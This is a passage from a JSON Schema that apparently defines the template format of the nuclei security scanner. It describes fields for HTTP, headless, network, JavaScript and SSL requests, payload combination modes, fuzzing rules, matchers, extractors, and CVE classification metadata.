{\n          \"$ref\": \"#/$defs/fuzz.SliceOrMapSlice\",\n          \"title\": \"payloads of fuzz rule\",\n          \"description\": \"Payloads to perform fuzzing substitutions with\"\n        },\n        \"replace-regex\": {\n          \"type\": \"string\",\n          \"title\": \"replace regex of rule\",\n          \"description\": \"Regex for regex-replace rule type\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"fuzz.SliceOrMapSlice\": {\n      \"items\": {\n        \"oneOf\": [\n          {\n            \"type\": \"string\"\n          },\n          {\n            \"type\": \"object\"\n          }\n        ]\n      },\n      \"type\": \"array\",\n      \"title\": \"Payloads of Fuzz Rule\",\n      \"description\": \"Payloads to perform fuzzing substitutions with.\"\n    },\n    \"generators.AttackTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"batteringram\",\n        \"pitchfork\",\n        \"clusterbomb\"\n      ],\n      \"title\": \"type of the attack\",\n      \"description\": \"Type of the attack\"\n    },\n    \"headless.Request\": {\n      \"properties\": {\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"Optional ID of the headless request\"\n        },\n        \"attack\": {\n          \"$ref\": \"#/$defs/generators.AttackTypeHolder\",\n          \"title\": \"attack is the payload combination\",\n          \"description\": \"Attack is the type of payload combinations to perform\"\n        },\n        \"payloads\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"title\": \"payloads for the headless request\",\n          \"description\": \"Payloads contains any payloads for the current request\"\n        },\n        \"steps\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/engine.Action\"\n          },\n          \"type\": \"array\",\n          \"title\": \"list of actions for headless request\",\n          \"description\": \"List of actions to run for headless request\"\n        },\n        \"user_agent\": {\n          \"$ref\": \"#/$defs/userAgent.UserAgentHolder\",\n          \"title\": \"user agent for the headless request\",\n          \"description\": \"User agent for the headless request\"\n        },\n        \"custom_user_agent\": {\n          \"type\": \"string\",\n          \"title\": \"custom user agent for the headless request\",\n          \"description\": \"Custom user agent for the headless request\"\n        },\n        \"stop-at-first-match\": {\n          \"type\": \"boolean\",\n          \"title\": \"stop at first match\",\n          \"description\": \"Stop the execution after a match is found\"\n        },\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"fuzzing\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/fuzz.Rule\"\n          },\n          \"type\": \"array\",\n          \"title\": \"fuzzin rules for http fuzzing\",\n          \"description\": \"Fuzzing describes rule schema to fuzz headless requests\"\n        },\n        \"cookie-reuse\": {\n          \"type\": \"boolean\",\n          \"title\": \"optional cookie reuse enable\",\n          \"description\": \"Optional setting that enables cookie reuse\"\n        },\n        \"disable-cookie\": {\n          \"type\": \"boolean\",\n          \"title\": \"optional disable cookie reuse\",\n          \"description\": \"Optional setting that disables cookie reuse\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"http.HTTPMethodTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"GET\",\n        \"HEAD\",\n        \"POST\",\n        \"PUT\",\n        \"DELETE\",\n        \"CONNECT\",\n        \"OPTIONS\",\n        \"TRACE\",\n        \"PATCH\",\n        \"PURGE\",\n        \"DEBUG\"\n      ],\n      \"title\": \"method is the HTTP request method\",\n      \"description\": \"Method is the HTTP Request Method\"\n    },\n    \"http.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"path\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"path(s) for the http request\",\n          \"description\": \"Path(s) to send http requests to\"\n        },\n        \"raw\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"description\": \"HTTP Requests in Raw Format\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id for the http request\",\n          \"description\": \"ID for the HTTP Request\"\n        },\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"name for the http request\",\n          \"description\": \"Optional name for the HTTP Request\"\n        },\n        \"attack\": {\n          \"$ref\": \"#/$defs/generators.AttackTypeHolder\",\n          \"title\": \"attack is the payload combination\",\n          \"description\": \"Attack is the type of payload combinations to perform\"\n        },\n        \"method\": {\n          \"$ref\": \"#/$defs/http.HTTPMethodTypeHolder\",\n          \"title\": \"method is the http request method\",\n          \"description\": \"Method is the HTTP Request Method\"\n        },\n        \"body\": {\n          \"type\": \"string\",\n          \"title\": \"body is the http request body\",\n          \"description\": \"Body is an optional parameter which contains HTTP Request body\"\n        },\n        \"payloads\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"title\": \"payloads for the http request\",\n          \"description\": \"Payloads contains any payloads for the current request\"\n        },\n        \"headers\": {\n          \"patternProperties\": {\n            \".*\": {\n              \"oneOf\": [\n                {\n                  \"type\": \"string\"\n                },\n                {\n                  \"type\": \"integer\"\n                },\n                {\n                  \"type\": \"boolean\"\n                }\n              ]\n            }\n          },\n          \"title\": \"headers to send with the http request\",\n          \"description\": \"Headers contains HTTP Headers to send with the request\"\n        },\n        \"race_count\": {\n          \"type\": \"integer\",\n          \"title\": \"number of times to repeat request in race condition\",\n          \"description\": \"Number of times to send a request in Race Condition Attack\"\n        },\n        \"max-redirects\": {\n          \"type\": \"integer\",\n          \"title\": \"maximum number of redirects to follow\",\n          \"description\": \"Maximum number of redirects that should be followed\"\n        },\n        \"pipeline-concurrent-connections\": {\n          \"type\": \"integer\",\n          \"title\": \"number of pipelining connections\",\n          \"description\": \"Number of connections to create during pipelining\"\n        },\n        \"pipeline-requests-per-connection\": {\n          \"type\": \"integer\",\n          \"title\": \"number of requests to send per pipelining connections\",\n          \"description\": \"Number of requests to send per connection when pipelining\"\n        },\n        \"threads\": {\n          \"type\": \"integer\",\n          \"title\": \"threads for sending requests\",\n          \"description\": \"Threads specifies number of threads to use sending requests. This enables Connection Pooling\"\n        },\n        \"max-size\": {\n          \"type\": \"integer\",\n          \"title\": \"maximum http response body size\",\n          \"description\": \"Maximum size of http response body to read in bytes\"\n        },\n        \"fuzzing\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/fuzz.Rule\"\n          },\n          \"type\": \"array\",\n          \"title\": \"fuzzin rules for http fuzzing\",\n          \"description\": \"Fuzzing describes rule schema to fuzz http requests\"\n        },\n        \"analyzer\": {\n          \"$ref\": \"#/$defs/analyzers.AnalyzerTemplate\",\n          \"title\": \"analyzer for http request\",\n          \"description\": \"Analyzer for HTTP Request\"\n        },\n        \"self-contained\": {\n          \"type\": \"boolean\"\n        },\n        \"signature\": {\n          \"$ref\": \"#/$defs/http.SignatureTypeHolder\",\n          \"title\": \"signature is the http request signature method\",\n          \"description\": \"Signature is the HTTP Request signature Method\"\n        },\n        \"skip-secret-file\": {\n          \"type\": \"boolean\",\n          \"title\": \"bypass secret file\",\n          \"description\": \"Skips the authentication or authorization configured in the secret file\"\n        },\n        \"cookie-reuse\": {\n          \"type\": \"boolean\",\n          \"title\": \"optional cookie reuse enable\",\n          \"description\": \"Optional setting that enables cookie reuse\"\n        },\n        \"disable-cookie\": {\n          \"type\": \"boolean\",\n          \"title\": \"optional disable cookie reuse\",\n          \"description\": \"Optional setting that disables cookie reuse\"\n        },\n        \"read-all\": {\n          \"type\": \"boolean\",\n          \"title\": \"force read all body\",\n          \"description\": \"Enables force reading of entire unsafe http request body\"\n        },\n        \"redirects\": {\n          \"type\": \"boolean\",\n          \"title\": \"follow http redirects\",\n          \"description\": \"Specifies whether redirects should be followed by the HTTP Client\"\n        },\n        \"host-redirects\": {\n          \"type\": \"boolean\",\n          \"title\": \"follow same host http redirects\",\n          \"description\": \"Specifies whether redirects to the same host should be followed by the HTTP Client\"\n        },\n        \"pipeline\": {\n          \"type\": \"boolean\",\n          \"title\": \"perform HTTP 1.1 pipelining\",\n          \"description\": \"Pipeline defines if the attack should be performed with HTTP 1.1 Pipelining\"\n        },\n        \"unsafe\": {\n          \"type\": \"boolean\",\n          \"title\": \"use rawhttp non-strict-rfc client\",\n          \"description\": \"Unsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests\"\n        },\n        \"race\": {\n          \"type\": \"boolean\",\n          \"title\": \"perform race-http request coordination attack\",\n          \"description\": \"Race determines if all the request have to be attempted at the same time (Race Condition)\"\n        },\n        \"req-condition\": {\n          \"type\": \"boolean\",\n          \"title\": \"preserve request history\",\n          \"description\": \"Automatically assigns numbers to requests and preserves their history\"\n        },\n        \"stop-at-first-match\": {\n          \"type\": \"boolean\",\n          \"title\": \"stop at first match\",\n          \"description\": \"Stop the execution after a match is found\"\n        },\n        \"skip-variables-check\": {\n          \"type\": \"boolean\",\n          \"title\": \"skip variable checks\",\n          \"description\": \"Skips the check for unresolved variables in request\"\n        },\n        \"iterate-all\": {\n          \"type\": \"boolean\",\n          \"title\": \"iterate all the values\",\n          \"description\": \"Iterates all the values extracted from internal extractors\"\n        },\n        \"digest-username\": {\n          \"type\": \"string\",\n          \"title\": \"specifies the username for digest authentication\",\n          \"description\": \"Optional parameter which specifies the username for digest auth\"\n        },\n        \"digest-password\": {\n          \"type\": \"string\",\n          \"title\": \"specifies the password for digest authentication\",\n          \"description\": \"Optional parameter which specifies the password for digest auth\"\n        },\n        \"disable-path-automerge\": {\n          \"type\": \"boolean\",\n          \"title\": \"disable auto merging of path\",\n          \"description\": \"Disable merging target url path with raw request path\"\n        },\n        \"pre-condition\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"pre-condition for fuzzing/dast\",\n          \"description\": \"PreCondition is matcher-like field to check if fuzzing should be performed on this request or not\"\n        },\n        \"pre-condition-operator\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the filters\",\n          \"description\": \"Operator to use between multiple per-conditions\"\n        },\n        \"global-matchers\": {\n          \"type\": \"boolean\",\n          \"title\": \"global matchers\",\n          \"description\": \"marks matchers as static and applies globally to all result events from other templates\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"http.SignatureTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"AWS\"\n      ],\n      \"title\": \"type of the signature\",\n      \"description\": \"Type of the signature\"\n    },\n    \"javascript.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID is the optional ID of the Request\"\n        },\n        \"init\": {\n          \"type\": \"string\",\n          \"title\": \"init javascript code\",\n          \"description\": \"Init is the javascript code to execute after compiling template\"\n        },\n        \"pre-condition\": {\n          \"type\": \"string\",\n          \"title\": \"pre-condition for the request\",\n          \"description\": \"PreCondition is a condition which is evaluated before sending the request\"\n        },\n        \"args\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\"\n        },\n        \"code\": {\n          \"type\": \"string\",\n          \"title\": \"code to execute in javascript\",\n          \"description\": \"Executes inline javascript code for the request\"\n        },\n        \"stop-at-first-match\": {\n          \"type\": \"boolean\",\n          \"title\": \"stop at first match\",\n          \"description\": \"Stop the execution after a match is found\"\n        },\n        \"attack\": {\n          \"$ref\": \"#/$defs/generators.AttackTypeHolder\",\n          \"title\": \"attack is the payload combination\",\n          \"description\": \"Attack is the type of payload combinations to perform\"\n        },\n        \"threads\": {\n          \"type\": \"integer\",\n          \"title\": \"threads for sending requests\",\n          \"description\": \"Threads specifies number of threads to use sending requests. This enables Connection Pooling\"\n        },\n        \"payloads\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"title\": \"payloads for the webosocket request\",\n          \"description\": \"Payloads contains any payloads for the current request\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"map[string]interface {}\": {\n      \"type\": \"object\"\n    },\n    \"map[string]string\": {\n      \"additionalProperties\": {\n        \"type\": \"string\"\n      },\n      \"type\": \"object\"\n    },\n    \"matchers.Matcher\": {\n      \"properties\": {\n        \"type\": {\n          \"$ref\": \"#/$defs/matchers.MatcherTypeHolder\",\n          \"title\": \"type of matcher\",\n          \"description\": \"Type of the matcher\"\n        },\n        \"condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between matcher variables\",\n          \"description\": \"Condition between the matcher variables\"\n        },\n        \"part\": {\n          \"type\": \"string\",\n          \"title\": \"part of response to match\",\n          \"description\": \"Part of response to match data from\"\n        },\n        \"negative\": {\n          \"type\": \"boolean\",\n          \"title\": \"negative specifies if match reversed\",\n          \"description\": \"Negative specifies if the match should be reversed. It will only match if the condition is not true\"\n        },\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"name of the matcher\",\n          \"description\": \"Name of the matcher\"\n        },\n        \"status\": {\n          \"items\": {\n            \"type\": \"integer\"\n          },\n          \"type\": \"array\",\n          \"title\": \"status to match\",\n          \"description\": \"Status to match for the response\"\n        },\n        \"size\": {\n          \"items\": {\n            \"type\": \"integer\"\n          },\n          \"type\": \"array\",\n          \"title\": \"acceptable size for response\",\n          \"description\": \"Size is the acceptable size for the response\"\n        },\n        \"words\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"words to match in response\",\n          \"description\": \" Words contains word patterns required to be present in the response part\"\n        },\n        \"regex\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"regex to match in response\",\n          \"description\": \"Regex contains regex patterns required to be present in the response part\"\n        },\n        \"binary\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"binary patterns to match in response\",\n          \"description\": \"Binary are the binary patterns required to be present in the response part\"\n        },\n        \"dsl\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"dsl expressions to match in response\",\n          \"description\": \"DSL are the dsl expressions that will be evaluated as part of nuclei matching rules\"\n        },\n        \"xpath\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"xpath queries to match in response\",\n          \"description\": \"xpath are the XPath queries that will be evaluated against the response part of nuclei matching rules\"\n        },\n        \"encoding\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"hex\"\n          ],\n          \"title\": \"encoding for word field\",\n          \"description\": \"Optional encoding for the word fields\"\n        },\n        \"case-insensitive\": {\n          \"type\": \"boolean\",\n          \"title\": \"use case insensitive match\",\n          \"description\": \"use case insensitive match\"\n        },\n        \"match-all\": {\n          \"type\": \"boolean\",\n          \"title\": \"match all values\",\n          \"description\": \"match all matcher values ignoring condition\"\n        },\n        \"internal\": {\n          \"type\": \"boolean\",\n          \"title\": \"hide matcher from output\",\n          \"description\": \"hide matcher from output\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\",\n      \"required\": [\n        \"type\"\n      ]\n    },\n    \"matchers.MatcherTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"word\",\n        \"regex\",\n        \"binary\",\n        \"status\",\n        \"size\",\n        \"dsl\",\n        \"xpath\"\n      ],\n      \"title\": \"type of the matcher\",\n      \"description\": \"Type of the matcher\"\n    },\n    \"model.Classification\": {\n      \"properties\": {\n        \"cve-id\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"title\": \"cve ids for the template\",\n          \"description\": \"CVE IDs for the template\"\n        },\n        \"cwe-id\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"title\": \"cwe ids for the template\",\n          \"description\": \"CWE IDs for the template\"\n        },\n        \"cvss-metrics\": {\n          \"type\": \"string\",\n          \"title\": \"cvss metrics for the template\",\n          \"description\": \"CVSS Metrics for the template\",\n          \"examples\": [\n            \"3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\"\n          ]\n        },\n        \"cvss-score\": {\n          \"type\": \"number\",\n          \"title\": \"cvss score for the template\",\n          \"description\": \"CVSS Score for the template\",\n          \"examples\": [\n            9.8\n          ]\n        },\n        \"epss-score\": {\n          \"type\": \"number\",\n          \"title\": \"epss score for the template\",\n          \"description\": \"EPSS Score for the template\",\n          \"examples\": [\n            0.42509\n          ]\n        },\n        \"epss-percentile\": {\n          \"type\": \"number\",\n          \"title\": \"epss percentile for the template\",\n          \"description\": \"EPSS Percentile for the template\",\n          \"examples\": [\n            0.42509\n          ]\n        },\n        \"cpe\": {\n          \"type\": \"string\",\n          \"title\": \"cpe for the template\",\n          \"description\": \"CPE for the template\",\n          \"examples\": [\n            \"cpe:/a:vendor:product:version\"\n          ]\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"model.Info\": {\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"name of the template\",\n          \"description\": \"Name is a short summary of what the template does\",\n          \"examples\": [\n            \"Nagios Default Credentials Check\"\n          ]\n        },\n        \"author\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"oneOf\": [\n            {\n              \"type\": \"string\",\n              \"examples\": [\n                \"pdteam\"\n              ]\n            },\n            {\n              \"type\": \"array\",\n              \"examples\": [\n                \"pdteam,mr.robot\"\n              ]\n            }\n          ],\n          \"title\": \"author of the template\",\n          \"description\": \"Author is the author of the template\"\n        },\n        \"tags\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"title\": \"tags of the template\",\n          \"description\": \"Any tags for the template\"\n        },\n        \"description\": {\n          \"type\": \"string\",\n          \"title\": \"description of the template\",\n          \"description\": \"In-depth explanation on what the template does\",\n          \"examples\": [\n            \"Bower is a package manager which stores package information in the bower.json file\"\n          ]\n        },\n        \"impact\": {\n          \"type\": \"string\",\n          \"title\": \"impact of the template\",\n          \"description\": \"In-depth explanation on the impact of the issue found by the template\",\n          \"examples\": [\n            \"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries\"\n          ]\n        },\n        \"reference\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"title\": \"references for the template\",\n          \"description\": \"Links relevant to the template\"\n        },\n        \"severity\": {\n          \"$ref\": \"#/$defs/severity.Holder\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"type\": \"object\",\n          \"title\": \"additional metadata for the template\",\n          \"description\": \"Additional metadata fields for the template\"\n        },\n        \"classification\": {\n          \"$ref\": \"#/$defs/model.Classification\",\n          \"type\": \"object\",\n          \"title\": \"classification info for the template\",\n          \"description\": \"Classification information for the template\"\n        },\n        \"remediation\": {\n          \"type\": \"string\",\n          \"title\": \"remediation steps for the template\",\n          \"description\": \"In-depth explanation on how to fix the issues found by the template\",\n          \"examples\": [\n            \"Change the default administrative username and password of Apache ActiveMQ by editing the file jetty-realm.properties\"\n          ]\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\",\n      \"required\": [\n        \"name\",\n        \"author\"\n      ]\n    },\n    \"network.Input\": {\n      \"properties\": {\n        \"data\": {\n          \"oneOf\": [\n            {\n              \"type\": \"string\"\n            },\n            {\n              \"type\": \"integer\"\n            }\n          ],\n          \"title\": \"data to send as input\",\n          \"description\": \"Data is the data to send as the input\"\n        },\n        \"type\": {\n          \"$ref\": \"#/$defs/network.NetworkInputTypeHolder\",\n          \"title\": \"type is the type of input data\",\n          \"description\": \"Type of input specified in data field\"\n        },\n        \"read\": {\n          \"type\": \"integer\",\n          \"title\": \"bytes to read from socket\",\n          \"description\": \"Number of bytes to read from socket\"\n        },\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"optional name for data read\",\n          \"description\": \"Optional name of the data read to provide matching on\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"network.NetworkInputTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"hex\",\n        \"text\"\n      ],\n      \"title\": \"type is the type of input data\",\n      \"description\": \"description=Type of input specified in data field\"\n    },\n    \"network.Request\": {\n      \"properties\": {\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID of the network request\"\n        },\n        \"host\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"host to send requests to\",\n          \"description\": \"Host to send network requests to\"\n        },\n        \"attack\": {\n          \"$ref\": \"#/$defs/generators.AttackTypeHolder\",\n          \"title\": \"attack is the payload combination\",\n          \"description\": \"Attack is the type of payload combinations to perform\"\n        },\n        \"payloads\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"title\": \"payloads for the network request\",\n          \"description\": \"Payloads contains any payloads for the current request\"\n        },\n        \"threads\": {\n          \"type\": \"integer\",\n          \"title\": \"threads for sending requests\",\n          \"description\": \"Threads specifies number of threads to use sending requests. This enables Connection Pooling\"\n        },\n        \"inputs\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/network.Input\"\n          },\n          \"type\": \"array\",\n          \"title\": \"inputs for the network request\",\n          \"description\": \"Inputs contains any input/output for the current request\"\n        },\n        \"port\": {\n          \"oneOf\": [\n            {\n              \"type\": \"string\"\n            },\n            {\n              \"type\": \"integer\"\n            }\n          ],\n          \"title\": \"port to send requests to\",\n          \"description\": \"Port to send network requests to\"\n        },\n        \"exclude-ports\": {\n          \"type\": \"string\",\n          \"title\": \"exclude ports from being scanned\",\n          \"description\": \"Exclude ports from being scanned\"\n        },\n        \"read-size\": {\n          \"type\": \"integer\",\n          \"title\": \"size of network response to read\",\n          \"description\": \"Size of response to read at the end. Default is 1024 bytes\"\n        },\n        \"read-all\": {\n          \"type\": \"boolean\",\n          \"title\": \"read all response stream\",\n          \"description\": \"Read all response stream till the server stops sending\"\n        },\n        \"stop-at-first-match\": {\n          \"type\": \"boolean\",\n          \"title\": \"stop at first match\",\n          \"description\": \"Stop the execution after a match is found\"\n        },\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"severity.Holder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"info\",\n        \"low\",\n        \"medium\",\n        \"high\",\n        \"critical\",\n        \"unknown\"\n      ],\n      \"title\": \"severity of the template\",\n      \"description\": \"Seriousness of the implications of the template\"\n    },\n    \"ssl.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID of the request\"\n        },\n        \"address\": {\n          \"type\": \"string\",\n          \"title\": \"address for the ssl request\",\n          \"description\": \"Address contains address for the request\"\n        },\n        \"min_version\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"sslv3\",\n            \"tls10\",\n            \"tls11\",\n            \"tls12\",\n            \"tls13\"\n          ],\n          \"title\": \"Min. TLS version\",\n          \"description\": \"Minimum tls version - automatic if not specified.\"\n        },\n        \"max_version\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"sslv3\",\n            \"tls10\",\n            \"tls11\",\n            \"tls12\",\n            \"tls13\"\n          ],\n          \"title\": \"Max. TLS version\",\n          \"description\": \"Max tls version - automatic if not specified.\"\n        },\n        \"cipher_suites\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\"\n        },\n        \"scan_mode\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"ctls\",\n            \"ztls\",\n            \"auto\"\n          ],\n          \"title\": \"Scan Mode\",\n          \"description\": \"Scan Mode - auto if not specified.\"\n        },\n        \"tls_version_enum\": {\n          \"type\": \"boolean\",\n          \"title\": \"Enumerate Versions\",\n          \"description\": \"Enumerate Version - false if not specified\"\n        },\n        \"tls_cipher_enum\": {\n          \"type\": \"boolean\",\n          \"title\": \"Enumerate Ciphers\",\n          \"description\": \"Enumerate Ciphers - false if not specified\"\n        },\n        \"tls_cipher_types\": {\n          \"items\": {\n            \"type\": \"string\",\n            \"enum\": [\n              \"weak\",\n              \"secure\",\n              \"insecure\",\n              \"all\"\n            ]\n          },\n          \"type\": \"array\",\n          \"title\": \"TLS Cipher Types\",\n          \"description\": \"TLS Cipher Types to enumerate\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"stringslice.StringOrSlice\": {\n      \"oneOf\": [\n        {\n          \"type\": \"string\"\n        },\n        {\n          \"type\": \"array\"\n        }\n      ]\n    },\n    \"templates.Template\": {\n      \"properties\": {\n        \"id\": {\n          \"type\": \"string\",\n          \"pattern\": \"^([a-zA-Z0-9]+[-_])*[a-zA-Z0-9]+$\",\n          \"title\": \"id of the template\",\n          \"description\": \"The Unique ID for the template\",\n          \"examples\": [\n            \"cve-2021-19520\"\n          ]\n        },\n        \"info\": {\n          \"$ref\": \"#/$defs/model.Info\",\n          \"type\": \"object\",\n          \"title\": \"info for the template\",\n          \"description\": \"Info contains metadata for the template\"\n        },\n        \"flow\": {\n          \"type\": \"string\",\n          \"title\": \"template execution flow in js\",\n          \"description\": \"Flow contains js code which defines how the template should be executed\",\n          \"examples\": [\n            \"'flow: http(0) \\u0026\\u0026 http(1)'\"\n          ]\n        },\n        \"requests\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/http.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"http requests to make\",\n          \"description\": \"HTTP requests to make for the template\"\n        },\n        \"http\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/http.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"http requests to make\",\n          \"description\": \"HTTP requests to make for the template\"\n        },\n        \"dns\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/dns.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"dns requests to make\",\n          \"description\": \"DNS requests to make for the template\"\n        },\n        \"file\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/file.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"file requests to make\",\n          \"description\": \"File requests to make for the template\"\n        },\n        \"network\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/network.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"network requests to make\",\n          \"description\": \"Network requests to make for the template\"\n        },\n        \"tcp\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/network.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"network(tcp) requests to make\",\n          \"description\": \"Network requests to make for the template\"\n        },\n        \"headless\": 